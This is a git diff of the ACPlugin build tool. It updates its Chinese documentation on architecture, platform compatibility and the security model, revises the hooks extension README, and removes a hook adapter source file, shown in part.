@@ -4,25 +4,25 @@ ## 配置失败 -- `CONFIG_PLATFORMS_REQUIRED` / `CONFIG_PLATFORMS_EMPTY`:安装 Platform package,并把工厂结果放入必填 `platforms`。 +- `CONFIG_PLATFORMS_REQUIRED`:安装 Platform package,并把至少一个工厂结果放入必填 `platforms`。 - `CONFIG_PLATFORM_INVALID`:不能手写 shape;使用官方工厂或公开 `definePlatform()`。 -- `CONFIG_DIRECTORY_OVERLAP`:`srcDir`、Public 和 `build.outDir` 不能互相包含。 -- `CONFIG_LEGACY_TARGETS` / `CONFIG_LEGACY_MODULES`:改用 `platforms` / `extensions`。 +- `CONFIG_DIRECTORY_OVERLAP`:`srcDir` 与 `build.outDir` 必须是分离的工程子树。 +- `CONFIG_PUBLIC_OVERLAP`:Public 完整目录或 copy source 不能与源码、输出或配置入口重叠。 -## Scanner 失败 +## Resource discovery 或 Canonical validation 失败 - `FRONTMATTER_REQUIRED`:文件第一行必须是 `---`。 - `MARKDOWN_BODY_REQUIRED`:Frontmatter 后必须有非空正文。 -- `SOURCE_SYMLINK_UNSUPPORTED`:换成工程内普通文件。 -- 依赖图错误:检查 `requires` 中的 ID、self edge 和完整循环。 +- `SOURCE_ROOT_INVALID` / `SOURCE_ROOT_CONTENT_INVALID` / `RESOURCE_ROOT_CONTENT_INVALID`:使用工程内普通目录和文件,移除符号链接、特殊文件与规范化冲突。 +- `COMPONENT_DEPENDENCY_MISSING` / `COMPONENT_DEPENDENCY_SELF` / `COMPONENT_DEPENDENCY_CYCLE`:检查 `requires` 中的 ID、自依赖和完整循环。 ## Extension 失败 -发现 `src/hooks` 或 `src/mcp` 内容却未启用对应 Extension 时,安装独立 package 并添加 `extensions: [hooks()]` 或 `extensions: [mcp()]`。不要删除诊断或把目录放进 Public 来绕过验证。 +发现 `src/hooks` 或 `src/mcp` 内容却未启用对应 Extension 时,安装独立 package 并添加 `hooks()` 或 `mcp()`。`src/runtime` 由 Core 直接扫描;使用 `runtime.entries` 修正入口映射,或用 `runtime: false` 显式关闭。不要删除诊断或把目录放进 Public 来绕过验证。 ## strict 失败 -先运行 `inspect --json` 查看是哪一资源为 degraded/unsupported。确认目标平台确实允许降级后,才在全局 `build.strict`、单个 Platform factory 或 CLI `--no-strict` 中显式放宽。结构和安全错误不会被放宽。 +先运行 `inspect --json` 查看是哪一资源为 degraded/unsupported。确认目标平台确实允许降级后,才在全局 `build.strict` 或单个 Platform factory 中显式放宽。结构和安全错误不会被放宽。 ## 事务或锁失败 diff --git a/packages/docs/guide/why-acplugin.md b/packages/docs/guide/why-acplugin.md index 2cd393c..2f89c9f 100644 --- a/packages/docs/guide/why-acplugin.md +++ b/packages/docs/guide/why-acplugin.md @@ -1,22 +1,24 @@ # 为什么使用 ACPlugin -AI 编程平台通常使用不同目录、Manifest 和运行协议描述相似的作者能力。直接维护六套输出会让内容、兼容性判断和安全边界逐渐分叉。ACPlugin 把这两个问题拆开:作者维护一份 Canonical 工程,Platform 负责把它编译成一种目标交付格式。 +AI 编程平台通常使用不同目录、Manifest 和运行协议表达相似能力。直接维护六套输出会让内容、兼容性判断、编译方式和安全边界逐渐分叉。ACPlugin 把作者模型与目标交付分开:作者维护一份 Canonical 工程,Platform 负责目标 Package,Core 提供统一 Rolldown Compiler 与固定生命周期。 ## 一条固定流水线 ```text -Config → Core lifecycle → Scanner → Platform Draft - → Extension Adapter → DeliveryUnit validation → transaction → report +Config → Core Resource discovery → CanonicalProject + → Platform base Package → unordered add-only Contributions + → finalized/validated Packages → transaction → BuildReport ``` -Core 固定阶段顺序、诊断、所有权和事务。Platform 只处理目标平台的 Component 转换、结构化 Document 和 DeliveryUnit。Extension 通过 Adapter 向 Platform 声明的扩展点 add-only 地加入横向能力。 +Core 拥有阶段、Compiler/Module/Watch、诊断、Asset、兼容性和事务。Platform 拥有目标 Component 转换、结构化 Document、Package identity、Distribution 与 candidate validator。Extension 构建一次平台中立状态,再通过只读 base Package 上的 Contributor 添加横向能力。 这意味着: -- CLI 与程序化 `runProject()` 走同一条 lifecycle。 -- 一个 Platform/Extension 失败时,不会提交部分新 `dist`。 -- 兼容性必须逐资源报告,不能静默丢掉能力。 -- 第三方实现使用主包公开的 `definePlatform()`、`defineExtension()`,不需要中央 registry。 +- CLI、`runProject()`、`Project.run()` 与 `Project.dev()` 走同一 Kernel。 +- Platform/Extension 不能自建 bundler、watcher 或直接写入 `dist`。 +- 一个目标失败时不会提交部分新 Package 集合。 +- 兼容性逐资源显式报告,不能静默丢弃能力。 +- 第三方实现使用 `@tokenroll/acplugin/sdk`,不需要中央 registry 或 Core 私有 API。 ## 独立 package,而不是主包开关 @@ -34,4 +36,4 @@ export default defineConfig({ }); ``` -接下来阅读[快速开始](./getting-started.md),或查看[package map](/resources/package-map)。 +Node Runtime 是 Core 内建约定,不是第三个 Extension package。接下来阅读[快速开始](./getting-started.md),或查看[package map](/resources/package-map)。 diff --git a/packages/docs/index.md b/packages/docs/index.md index 86f7e6d..8484297 100644 --- a/packages/docs/index.md +++ b/packages/docs/index.md @@ -39,7 +39,7 @@ features: ## 一个工程,明确的交付边界 -ACPlugin 把平台中立的作者资源交给显式配置的 Platform,并通过 Extension Adapter 添加横向能力。先从[快速开始](/guide/getting-started)了解工程结构,或直接查看[公开 API](/api/)。 +ACPlugin 把平台中立的作者资源交给显式配置的 Platform,并通过无序、add-only Extension Contribution 添加横向能力。先从[快速开始](/guide/getting-started)了解工程结构,或直接查看[公开 API](/api/)。

🍌 One source, many deliveries

diff --git a/packages/docs/platforms/claude-code.md b/packages/docs/platforms/claude-code.md index 72c8620..033ee7f 100644 --- a/packages/docs/platforms/claude-code.md +++ b/packages/docs/platforms/claude-code.md @@ -38,6 +38,6 @@ claudeCode({ 主 Plugin 包含 `.claude-plugin/plugin.json`、`commands/`、`skills/` 与 `agents/`。Command 的 `{{arguments}}` 转为原生 `$ARGUMENTS`;三类 Component 均为 native。 -Hooks/MCP 由独立 Extension Adapter 向 Manifest 的受控扩展点写入。Platform 本身不 import Extension package。配置 `marketplace` 时还生成 `.claude-plugin/marketplace.json`,并复用已验证的完整主 Plugin。 +Hooks/MCP 由独立 Extension Contributor 向 Manifest 的受控扩展点写入。Platform 本身不 import Extension package。配置 `marketplace` 时还生成 `.claude-plugin/marketplace.json`,并继承已经验证的完整主 Plugin Asset。 [Claude Code package API](/api/@tokenroll/acplugin-platform-claude-code/) diff --git a/packages/docs/platforms/codex.md b/packages/docs/platforms/codex.md index 0b3e526..d237e00 100644 --- a/packages/docs/platforms/codex.md +++ b/packages/docs/platforms/codex.md @@ -23,7 +23,6 @@ export default defineConfig({ - `strict?: boolean`:覆盖兼容性严格度。 - `interface?`:安装界面的描述、开发者、分类、URL、颜色、图标、截图和默认 prompt。 - `marketplace?`:可选 Marketplace 名称、展示名、分类和 installation policy。 -- `generatedSkillIds.command?: 'plugin-prefixed'`:显式选择 `-`;缺省仍为 `command-`。 所有字段都通过受控 Schema 校验,不接受任意 Manifest 透传。 @@ -32,7 +31,7 @@ export default defineConfig({ 主 Plugin 以 `.codex-plugin/plugin.json` 和 `skills/` 为核心: - Canonical Skill 保持 native。 -- Command 默认转换为 `skills/command-`;显式配置 `generatedSkillIds.command: 'plugin-prefixed'` 后使用 `skills/-`。参数占位符变成显式调用指导;`argumentHint` 无 UI 时为 degraded。 +- Command 转换为 `skills/-`。参数占位符变成显式调用指导;`argumentHint` 无 UI 时为 degraded。 - Agent 转换为 `skills/agent-` 的指导型 Skill,model/capabilities 只保留为文本,因此为 degraded。 存在 Agent 的工程默认 strict 会失败;只有明确接受这一降级时才使用 `codex({ strict: false })`。可选 Marketplace 写入 `.agents/plugins/marketplace.json`。 diff --git a/packages/docs/platforms/cursor.md b/packages/docs/platforms/cursor.md index 85f9289..d49a57c 100644 --- a/packages/docs/platforms/cursor.md +++ b/packages/docs/platforms/cursor.md @@ -30,6 +30,6 @@ Plugin 包含 `.cursor-plugin/plugin.json`、`commands/`、`skills/` 与 `agents - Skill 无法关闭显式 user invocation 时 degraded。 - Agent model 或 capability 无法精确强制时 degraded。 -Hooks/MCP 的具体事件或 transport 支持由对应 Extension Adapter 报告,Platform 只提供受控 Manifest 扩展点。 +Hooks/MCP 的具体事件或 transport 支持由对应 Extension Contributor 报告,Platform 只提供受控 Manifest 扩展点。 [Cursor package API](/api/@tokenroll/acplugin-platform-cursor/) diff --git a/packages/docs/platforms/index.md b/packages/docs/platforms/index.md index 0d4e5c6..00abc6d 100644 --- a/packages/docs/platforms/index.md +++ b/packages/docs/platforms/index.md @@ -2,7 +2,7 @@ 六个官方 Platform 都是独立 package。工程只安装和实例化需要的目标平台。 -| Platform | Package | DeliveryUnit | Component 策略 | +| Platform | Package | 主 Package | Component 策略 | | --- | --- | --- | --- | | [Claude Code](./claude-code.md) | `@tokenroll/acplugin-platform-claude-code` | Plugin / 可选 Marketplace | Command、Skill、Agent 原生 | | [Codex](./codex.md) | `@tokenroll/acplugin-platform-codex` | Plugin / 可选 Marketplace | Skill 原生,Command 转 Skill,Agent 降级为 Skill | diff --git a/packages/docs/platforms/opencode.md b/packages/docs/platforms/opencode.md index 3c3e9a4..716af4e 100644 --- a/packages/docs/platforms/opencode.md +++ b/packages/docs/platforms/opencode.md @@ -27,7 +27,7 @@ export default defineConfig({ ## 交付与兼容性 -OpenCode 产生 workspace DeliveryUnit,而不是安装型 Plugin: +OpenCode 产生 workspace 主 Package,而不是安装型 Plugin: ```text .opencode/commands/ @@ -36,6 +36,6 @@ OpenCode 产生 workspace DeliveryUnit,而不是安装型 Plugin: opencode.json # 有配置或 Extension 内容时生成 ``` -Command、Skill、Agent 都有原生 workspace 表示。Canonical capabilities 会转换为 OpenCode tools/permission 字段;无法精确固定 model 时按字段报告 degraded。HTTP 与 local stdio MCP 都可由官方 Adapter 加入 workspace 配置。 +Command、Skill、Agent 都有原生 workspace 表示。Canonical capabilities 会转换为 OpenCode tools/permission 字段;无法精确固定 model 时按字段报告 degraded。HTTP 与 local stdio MCP 都可由官方 Contributor 加入 workspace 配置。 [OpenCode package API](/api/@tokenroll/acplugin-platform-opencode/) diff --git a/packages/docs/platforms/pi.md b/packages/docs/platforms/pi.md index afa650c..8cafc54 100644 --- a/packages/docs/platforms/pi.md +++ b/packages/docs/platforms/pi.md @@ -26,12 +26,12 @@ export default defineConfig({ ## 交付与兼容性 -Pi 产生带 `package.json` 的 npm package DeliveryUnit: +Pi 产生带 `package.json` 的 npm 主 Package: - Command 转换到 `prompts/.md`;参数提示可进入原生 prompt metadata。 - Skill 进入 `skills//SKILL.md`,为 native。 - Agent 转为指导型 `skills/agent-`,model/capabilities 不能强制,因此 degraded。 -Pi 不支持 MCP transport,官方 MCP Adapter 会报告 unsupported,而不会伪造客户端行为。 +Pi 不支持 MCP transport,官方 MCP Contributor 会报告 unsupported,而不会伪造客户端行为。 [Pi package API](/api/@tokenroll/acplugin-platform-pi/) diff --git a/packages/docs/playground/capability-template.md b/packages/docs/playground/capability-template.md index 2c5e68b..a8cff79 100644 --- a/packages/docs/playground/capability-template.md +++ b/packages/docs/playground/capability-template.md @@ -14,10 +14,11 @@ import openCode from '@tokenroll/acplugin-platform-opencode'; import pi from '@tokenroll/acplugin-platform-pi'; export default defineConfig({ - name: 'acplugin-capability-playground', + name: 'acplugin-playground', version: '0.1.0', description: 'Complete ACPlugin capability template for integration exercises.', platforms: [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()], + runtime: { entries: { playground: { entry: 'main.ts' } } }, extensions: [hooks(), mcp()], build: { strict: false }, }); @@ -30,20 +31,21 @@ export default defineConfig({ - investigator、reflector、recorder Agents。 - 全部 11 个 portable Hook 事件及其无副作用语义结果。 - public、OAuth、Bearer 三类 remote HTTP MCP,以及完整 local stdio MCP。 +- 一个可真实执行、向 Claude Code/Codex 交付相同字节的 Node 20 ESM Runtime。 - runtime/schema/upgrade 静态资源示例、品牌资源和四个 Public 模板。 -- 六个平台主交付单元与 Claude Code/Codex Marketplace。 +- 六个平台主 Package 与 Claude Code/Codex Marketplace Distribution。 ## 输出验证 -验证器消费真实 `validate --json` 和 `build --json`,逐项检查六平台兼容性矩阵、Artifact Registry 与文件树闭包、Component 转换内容、Manifest/Config 引用、Hook runtime、MCP JSON-RPC、Secret 不泄漏和双构建字节确定性。平台明确 unsupported 的事件或 transport 必须出现在兼容性报告中,同时不得生成伪配置或伪运行文件。 +验证器消费真实 `validate --json` 和 `build --json`,逐项检查六平台兼容性矩阵、schema-v2 Package/Asset report 与文件树闭包、Component 转换内容、Manifest/Config 引用、Hook runtime、MCP JSON-RPC、Node Runtime 真实执行、Secret 不泄漏和双构建字节确定性。平台明确 unsupported 的事件、transport 或 runtime 必须出现在兼容性报告中,同时不得生成伪配置或伪运行文件。 ## 模板边界 Playground 不实现具体产品业务,只展示作者工程结构、公开 API、平台转换、Extension 协议和交付产物验证。示例 Handler 与 Server 无持久化副作用。 -Codex 和 Antigravity 会把 Command 转为 `command-*` Skill,Pi 转为 Prompt Template;Codex、Antigravity 和 Pi 会把 Agent 降级为 `agent-*` guidance Skill。这些是平台明确报告的兼容性结果。 +Codex 会把 Command 转为 `-` Skill,Antigravity 会把 Command 转为 `command-*` Skill,Pi 转为 Prompt Template;Codex、Antigravity 和 Pi 会把 Agent 降级为 `agent-*` guidance Skill。这些是平台明确报告的兼容性结果。 -Hooks 和 MCP 提供可执行但无持久化副作用的协议模板;`public/schemas` 只展示静态资源交付位置,不构成业务 Schema。因此它是 ACPlugin 全能力 packaging/template smoke,不是平台官方 conformance suite。 +Hooks、MCP 和 Core Runtime 提供可执行但无持久化副作用的协议模板;`public/schemas` 只展示静态资源交付位置,不构成业务 Schema。因此它是 ACPlugin 全能力 packaging/template smoke,不是平台官方 conformance suite。 ## 运行 @@ -51,4 +53,4 @@ Hooks 和 MCP 提供可执行但无持久化副作用的协议模板;`public/s pnpm playground:check ``` -配置使用 `strict: false` 是为了显式观察六平台的真实能力差异;结构、安全、owner、来源和事务错误仍必须失败。仓库 verifier 会精确接受已声明的 degradation/unsupported,同时验证这些不支持项没有生成伪 Artifact。 +配置使用 `strict: false` 是为了显式观察六平台的真实能力差异;结构、安全、owner、来源和事务错误仍必须失败。仓库 verifier 会精确接受已声明的 degradation/unsupported,同时验证这些不支持项没有生成伪 Asset。 diff --git a/packages/docs/playground/index.md b/packages/docs/playground/index.md index a79c865..816952d 100644 --- a/packages/docs/playground/index.md +++ b/packages/docs/playground/index.md @@ -1,5 +1,5 @@ # Playground -仓库内 Playground 是不绑定具体产品领域的完整 ACPlugin packaging/template smoke,真实构建六个平台、全部 portable Hooks、HTTP/local MCP 和两个 Marketplace。 +仓库内 Playground 是不绑定具体产品领域的完整 ACPlugin packaging/template smoke,真实构建六个平台、全部 portable Hooks、HTTP/local MCP、Node Runtime 和两个 Marketplace。 [查看全能力模板说明](./capability-template.md) diff --git a/packages/docs/resources/compatibility-matrix.md b/packages/docs/resources/compatibility-matrix.md index 69095dc..8e66182 100644 --- a/packages/docs/resources/compatibility-matrix.md +++ b/packages/docs/resources/compatibility-matrix.md @@ -5,7 +5,7 @@ | Platform | Command | Skill | Agent | | --- | --- | --- | --- | | Claude Code | Native | Native | Native | -| Codex | Transform → 默认 `command-*`、可选 Plugin 前缀 Skill | Native | Degraded → `agent-*` guidance Skill | +| Codex | Transform → 固定 `-` explicit Skill | Native | Degraded → `agent-*` guidance Skill | | Cursor | Native | Native | Native | | Antigravity | Transform → explicit Skill | Native | Degraded → guidance Skill | | OpenCode | Native workspace Command | Native workspace Skill | Native workspace Agent;capability 为 transform | diff --git a/packages/docs/resources/deterministic-builds.md b/packages/docs/resources/deterministic-builds.md index b071127..f75e4ae 100644 --- a/packages/docs/resources/deterministic-builds.md +++ b/packages/docs/resources/deterministic-builds.md @@ -12,9 +12,9 @@ ## 框架保证 -- Scanner 和 Registry 对目录、资源和报告使用稳定排序。 -- Artifact 记录固定 owner、mode、size 与 SHA-256。 -- 报告不包含 Artifact bytes、时间、绝对路径、凭据或环境值。 +- Resource Provider 和 Registry 对目录、资源、Contribution 和报告使用稳定排序。 +- Asset 记录固定 owner、origin、mode、size 与 SHA-256。 +- 报告不包含 Asset bytes、时间、绝对路径、凭据或环境值。 - TypeDoc/VitePress 文档 build 关闭 last-updated,不在线 fetch 内容。 确定性不是跨任意 Node/依赖版本的承诺。升级 Node major、lockfile 或生成器版本后,应把变化作为正常版本化 diff 审查。 diff --git a/packages/docs/resources/package-map.md b/packages/docs/resources/package-map.md index d248e51..f17ecf0 100644 --- a/packages/docs/resources/package-map.md +++ b/packages/docs/resources/package-map.md @@ -4,8 +4,8 @@ | Package | 可见性 | 责任 | | --- | --- | --- | -| `@tokenroll/acplugin` | Public | CLI、配置加载、公开 lifecycle SDK、程序化 API、隔离 Migration | -| `@acplugin/core` | Private | Scanner、lifecycle、诊断、Artifact、Document、DeliveryUnit、transaction | +| `@tokenroll/acplugin` | Public | CLI、作者 façade、`/sdk` Integration 契约、程序化 Project API、隔离 Migration;构建时内联 Core | +| `@acplugin/core` | Private | Kernel、Resource Provider、Compiler/Module/Execution/Watch Host、Asset/Package Registry、兼容性、报告与 transaction | ## Official Platforms @@ -16,14 +16,14 @@ - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Extension package 同时拥有作者格式、build state 和面向六个平台的官方 Adapter;Platform 不反向依赖 Extension。 +Extension package 同时拥有作者格式、Built State 和面向六个平台的官方 Contributor;Platform 不反向依赖 Extension。 ## Repository-only consumers | Workspace | 责任 | | --- | --- | | `@acplugin/test` | 跨包 Vitest、tarball 和架构验证 | -| `@acplugin/docs` | VitePress 与九个公开入口的 TypeDoc 生成 | +| `@acplugin/docs` | VitePress 与九个公开 package(含主包 `/sdk`)的 TypeDoc 生成 | | `@acplugin/playground` | 领域中立的全能力 packaging/template smoke | -Docs 与 Playground 都是私有消费者,不进入 Changesets 或 release tarball。 +Node Runtime 是 Core Framework Resource,因此没有 `@tokenroll/acplugin-extension-node-runtime`。Docs 与 Playground 都是私有消费者,不进入 Changesets 或 release tarball。 diff --git a/packages/docs/resources/security-model.md b/packages/docs/resources/security-model.md index 4265a0a..b2e6e59 100644 --- a/packages/docs/resources/security-model.md +++ b/packages/docs/resources/security-model.md @@ -1,23 +1,29 @@ # 安全模型 -ACPlugin 把外部作者输入视为不可信数据,直到对应阶段完成结构、来源和最终候选验证。 +ACPlugin 把 Markdown、路径、JSON 数据和待交付 Asset 视为不可信数据,直到对应阶段完成结构、来源和最终候选验证。TypeScript 配置、Platform、Extension 与其 descriptor 则是会在构建进程中执行的可信代码,安装或运行前必须像其他构建工具依赖一样审查。 + +## 可信 Integration 边界 + +Platform/Extension 与作者配置和 descriptor 不是进程沙箱。它们可以使用 Node.js 能力直接读取进程可访问的文件或环境;Core 不承诺阻止恶意 Integration。Core 的 owner-scoped Source、Module、Compiler、Execution 和 Asset Service 负责限制哪些来源和输出能进入受管 Package、报告与事务,并提供确定性和可审计边界。 + +Platform/Extension factory result 使用 `Symbol.for(...)` 的共享 registry brand,使同一生命周期 API 的主包 root、SDK 和 CLI bundle chunk 能识别同一类定义。该 Symbol 可被同进程代码访问或伪造,不是 private Symbol、权限令牌或安全边界;定义仍需通过精确 shape、API version、JSON copy/freeze 和生命周期校验。 ## 路径与来源 - 配置路径必须在工程根内,输出不能与源码/Public 重叠。 -- Component、Skill auxiliary、Public、Platform workDir、Extension workDir 各有独立来源授权。 +- Component、Skill auxiliary、Public、Platform 与 Extension 各有独立的 owner-scoped Source/Asset 授权;物理 workDir 只对 Core Host 可见。 - 拒绝绝对路径、NUL、`..`、符号链接、特殊文件和规范化冲突。 - `dist` 只由 transaction 层整体提交。 ## 扩展协议 -- Document patch 是 owner-aware add-only;没有覆盖优先级。 +- Document Contribution 是 owner-aware add-only;所有 Contributor 读取同一 base Package,没有覆盖优先级。 - Hook 作者只返回语义结果,wire 拥有目标协议;runner 有输入输出上限和稳定错误码。 - HTTP MCP Secret 使用环境引用,构建不读取值。 - Local stdio MCP 必须 bundle 并通过真实协议 smoke。 ## 报告与错误 -`buildEnd` 只收到脱敏异常摘要。稳定报告不会输出凭据、环境值、Artifact bytes、机器路径或临时路径。第三方 bundle 需要生成确定性许可材料。 +Session `close()` 只收到脱敏失败摘要。稳定报告不会输出凭据、环境值、Asset bytes、机器路径或临时路径。第三方 bundle 默认需要生成确定性许可材料。 Relaxed compatibility 不会绕过这些安全检查。 diff --git a/packages/extensions/hooks/README.md b/packages/extensions/hooks/README.md index 5457b4a..4449f50 100644 --- a/packages/extensions/hooks/README.md +++ b/packages/extensions/hooks/README.md @@ -1,10 +1,10 @@ # @tokenroll/acplugin-extension-hooks -Portable Hook authoring plus six official Platform adapters for `@tokenroll/acplugin`. +Portable Hook authoring plus six official Platform Contributors for `@tokenroll/acplugin`. Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. -`统一书写 Hook,并由官方 Adapter 构建为六个平台各自支持的静态或运行时产物。` +`统一书写 Hook,通过 Core Compiler 只构建一次,再由官方 Contributor 交付为六个平台各自支持的静态或运行时能力。` ```bash pnpm add -D @tokenroll/acplugin \ @@ -27,14 +27,14 @@ export default defineConfig({ }); ``` -Each Hook is a branded TypeScript descriptor at `src/hooks//hook.ts`: +Each Hook is a plain ESM default export at `src/hooks//hook.ts`: -`每个 Hook 使用独立一级目录,并通过 defineHook 获得事件级输入和结果类型。` +`每个 Hook 使用独立一级目录,并通过 satisfies 获得事件级输入和结果类型。` ```ts -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ +export default { event: 'PreToolUse', matcher: 'Bash|Write|Edit', timeout: 10, @@ -46,7 +46,7 @@ export default defineHook({ ? { decision: 'allow' } : { decision: 'deny', reason: `Denied on ${context.platform}.` }; }, -}); +} satisfies Hook<'PreToolUse'>; ``` The canonical events are `SessionStart`, `SessionEnd`, `UserPromptSubmit`, `PreToolUse`, `PermissionRequest`, `PostToolUse`, `PreCompact`, `PostCompact`, `SubagentStart`, `SubagentStop`, and `Stop`. @@ -56,18 +56,20 @@ Platform-only events stay explicitly scoped and never expand that union: `平台专属事件必须显式限定;其他 Platform 不会获得产物或兼容性结论。` ```ts -export default defineHook({ +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; + +export default { event: { platform: 'claude-code', name: 'Setup' }, matcher: 'init', run() {}, -}); +} satisfies Hook; ``` -ACPlugin bundles each implementation once as a platform-neutral Node 20 ESM `hooks//handler.mjs`. Each Adapter emits an adjacent `wire.mjs` that owns its native stdin schema, camelCase conversion, runtime root/data environment mapping, and stdout mapping. The shared Handler validates event-specific results, keeps stdin/stdout within 1 MiB, and emits only stable error codes. Third-party code included in a Handler receives a deterministic `THIRD_PARTY_LICENSES.txt`. +ACPlugin's Core `portable-node` Compiler bundles each implementation once as a self-contained, platform-neutral Node 20 ESM `hooks//handler.mjs`. Verified wire profiles are compiled into the same file and own native stdin schemas, camelCase conversion, runtime root/data environment mapping, and stdout mapping. The Handler validates event-specific results, keeps stdin/stdout within 1 MiB, emits only stable error codes, and requires no adjacent runtime JavaScript. Third-party code included in a Handler receives a deterministic `THIRD_PARTY_LICENSES.txt`. -`作者不能声明原始 shell、绝对 executable、HTTP、prompt、agent 或 MCP-tool Handler;平台 wire 协议完全由 Adapter 管理。` +`作者不能声明原始 shell、绝对 executable、HTTP、prompt、agent 或 MCP-tool Handler;平台 wire 协议完全由对应 Contributor 管理。` -Claude Code uses shell-free exec form (`command: "node"` plus `args`). Codex currently receives a fixed framework-generated command string because its public Hook schema does not expose `args`. A meaningful matcher is reported as `degraded` whenever the selected host silently ignores it, including Claude Code `UserPromptSubmit`/`Stop` and Codex `UserPromptSubmit`/`Stop`; empty Hooks produce no artifacts. +Claude Code uses shell-free exec form (`command: "node"` plus `args`). Codex currently receives a fixed framework-generated command string because its public Hook schema does not expose `args`. A meaningful matcher is reported as `degraded` whenever the selected host silently ignores it, including Claude Code `UserPromptSubmit`/`Stop` and Codex `UserPromptSubmit`/`Stop`; empty Hooks produce no Assets. Portable event support: @@ -80,7 +82,7 @@ Portable event support: | OpenCode | `SessionStart`, `UserPromptSubmit`, `PreToolUse`, `PostToolUse`, `PostCompact` | — | `SessionEnd`, `Stop` | remaining 4 events | | Pi | `SessionStart`, `SessionEnd`, `UserPromptSubmit`, `PreToolUse`, `PostToolUse`, `PreCompact`, `PostCompact` | — | `Stop` | `PermissionRequest`, `SubagentStart`, `SubagentStop` | -Strict mode rejects degraded or unsupported outcomes; relaxed mode emits only verified runtimes and preserves the full structured report. Empty Hooks produce no Artifact. +Strict mode rejects degraded or unsupported outcomes; relaxed mode emits only verified runtimes and preserves the full structured report. Empty Hooks produce no Asset. Contracts were last rechecked on 2026-08-06 against [Claude Code Hooks](https://code.claude.com/docs/en/hooks), [Codex Hooks](https://learn.chatgpt.com/docs/hooks), [Cursor Hooks](https://cursor.com/docs/agent/hooks), [Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli), [OpenCode Plugins](https://opencode.ai/docs/plugins/), and [Pi Extensions](https://pi.dev/docs/latest/extensions). diff --git a/packages/extensions/hooks/package.json b/packages/extensions/hooks/package.json index a0848fd..2a29c9c 100644 --- a/packages/extensions/hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-extension-hooks", - "version": "0.0.1-beta", - "description": "Portable hook authoring and platform adapters for acplugin.", + "version": "0.0.2-beta", + "description": "Portable hook authoring and platform contributors for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#hooks-extension", @@ -20,7 +20,6 @@ "typecheck": "tsc -p tsconfig.json" }, "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, - "dependencies": { "rolldown": "catalog:" }, "devDependencies": { "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", diff --git a/packages/extensions/hooks/src/adapters.ts b/packages/extensions/hooks/src/adapters.ts deleted file mode 100644 index 18a6ca2..0000000 --- a/packages/extensions/hooks/src/adapters.ts +++ /dev/null @@ -1,714 +0,0 @@ -import { - bytesArtifact, - stableJson, - type ExtensionPlatformAdapter, - type JsonValue, - type PlatformAdapterContext, - type PlatformId, -} from '@tokenroll/acplugin'; -import type { BuiltHooks, BundledHook } from './bundler.js'; -import { - ANTIGRAVITY_PLATFORM_ID, - CLAUDE_CODE_PLATFORM_ID, - CODEX_PLATFORM_ID, - CURSOR_PLATFORM_ID, - HOOKS_MANIFEST_PATH, - OPENCODE_PLATFORM_ID, - PI_PLATFORM_ID, - PLUGIN_MANIFEST_ID, -} from './constants.js'; -import { eventName, platformForEvent } from './discovery.js'; -import { - createOpenCodePluginSource, - createPiExtensionSource, - runtimeHookDescriptor, -} from './runtime-adapter-source.js'; -import { createWireSource } from './wire-source.js'; - -/** Adapter 合并顶层默认值与 Platform 补充字段后的执行配置。 */ -interface ResolvedHookOptions { - /** 当前 Platform 实际采用的 matcher。 */ - readonly matcher?: string; - /** 当前 Platform 实际采用的超时秒数。 */ - readonly timeout?: number; - /** 当前 Platform 实际显示的状态消息。 */ - readonly statusMessage?: string; - /** Codex 可选的上下文直接注入 Token 上限。 */ - readonly additionalContextLimit?: number; -} - -/** 单个 Hook 配置文件中的事件分组。 */ -interface HookGroup { - /** 可选的平台匹配表达式。 */ - readonly matcher?: string; - /** 当前匹配分组内的一个受控 command Handler。 */ - readonly hooks: readonly Readonly>[]; -} - -/** 非默认 Platform 对一个规范事件的实际支持结论。 */ -interface HookEventSupport { - /** Adapter 是否生成可运行产物。 */ - readonly supported: boolean; - /** 生成产物时的兼容性等级。 */ - readonly level: 'native' | 'transform' | 'degraded' | 'unsupported'; - /** 平台原生事件名称。 */ - readonly nativeEvent?: string; - /** 稳定且面向作者的结论原因。 */ - readonly reason: string; -} - -/** Cursor 对 11 个规范事件的固定映射。 */ -const CURSOR_EVENTS: Readonly> = Object.freeze({ - SessionStart: { supported: true, level: 'transform', nativeEvent: 'sessionStart', reason: 'Cursor provides a corresponding sessionStart command Hook.' }, - SessionEnd: { supported: true, level: 'transform', nativeEvent: 'sessionEnd', reason: 'Cursor provides a corresponding sessionEnd command Hook.' }, - UserPromptSubmit: { supported: true, level: 'transform', nativeEvent: 'beforeSubmitPrompt', reason: 'Cursor beforeSubmitPrompt preserves the prompt submission trigger.' }, - PreToolUse: { supported: true, level: 'transform', nativeEvent: 'preToolUse', reason: 'Cursor preToolUse preserves the before-tool trigger.' }, - PermissionRequest: { supported: false, level: 'unsupported', reason: 'Cursor has no verified Plugin Hook for a distinct permission request.' }, - PostToolUse: { supported: true, level: 'transform', nativeEvent: 'postToolUse', reason: 'Cursor postToolUse preserves the after-tool trigger.' }, - PreCompact: { supported: true, level: 'transform', nativeEvent: 'preCompact', reason: 'Cursor preCompact preserves the pre-compaction trigger.' }, - PostCompact: { supported: false, level: 'unsupported', reason: 'Cursor has no verified post-compaction Plugin Hook.' }, - SubagentStart: { supported: true, level: 'transform', nativeEvent: 'subagentStart', reason: 'Cursor subagentStart preserves the subagent start trigger.' }, - SubagentStop: { supported: true, level: 'transform', nativeEvent: 'subagentStop', reason: 'Cursor subagentStop preserves the subagent stop trigger.' }, - Stop: { supported: true, level: 'transform', nativeEvent: 'stop', reason: 'Cursor stop preserves the agent stop trigger.' }, -}); - -/** Antigravity 对 11 个规范事件的固定映射。 */ -const ANTIGRAVITY_EVENTS: Readonly> = Object.freeze({ - SessionStart: { supported: true, level: 'native', nativeEvent: 'SessionStart', reason: 'Antigravity supports SessionStart command Hooks.' }, - SessionEnd: { supported: true, level: 'native', nativeEvent: 'SessionEnd', reason: 'Antigravity supports 